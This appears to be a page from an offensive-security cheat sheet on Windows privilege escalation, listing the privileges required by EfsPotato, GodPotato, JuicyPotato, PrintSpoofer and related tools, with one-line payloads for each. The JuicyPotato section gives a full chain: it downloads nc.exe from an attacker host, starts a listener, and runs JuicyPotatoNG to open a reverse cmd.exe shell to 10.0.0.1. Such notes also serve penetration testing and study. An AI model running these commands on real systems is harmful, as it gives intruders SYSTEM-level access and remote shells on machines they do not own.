Exploit Notes

Windows PrivEsc with LocalPotato

Last modified: 2024-03-08

Privilege Escalation Windows

EfsPotato

Required Privilege

  • SeImpersonatePrivilege

Payloads

EfsPotato "cmd.exe /c whoami"

GodPotato

Required Privileges

  • SeImpersonatePrivilege

Payloads

GodPotato -cmd "cmd /c whoami"

JuicyPotato

Required Privilege

  • SeImpersonatePrivilege or SeAssignPrimaryToken

Payloads

Before exploiting, we need to upload nc.exe (it is available from here) to the target machine.

Invoke-WebRequest -Uri http://10.0.0.1:8000/nc.exe -OutFile c:\Temp\nc.exe

Next start a listener in local machine.

nc -lvnp 4444

Then execute JuicyPotato in target machine.

JuicyPotatoNG.exe -t * -p "c:\Temp\nc.exe" -a "10.0.0.1 4444 -e cmd.exe"

PrintSpoofer

Required Privilege

  • SeImpersonatePrivilege

Payloads

PrintSpoofer.exe -i -c cmd

RoguePotato

Required Privilege

  • SeImpersonatePrivilege

Payloads


RottenPotato

Required Privilege

  • SeImpersonatePrivilege

Payloads

References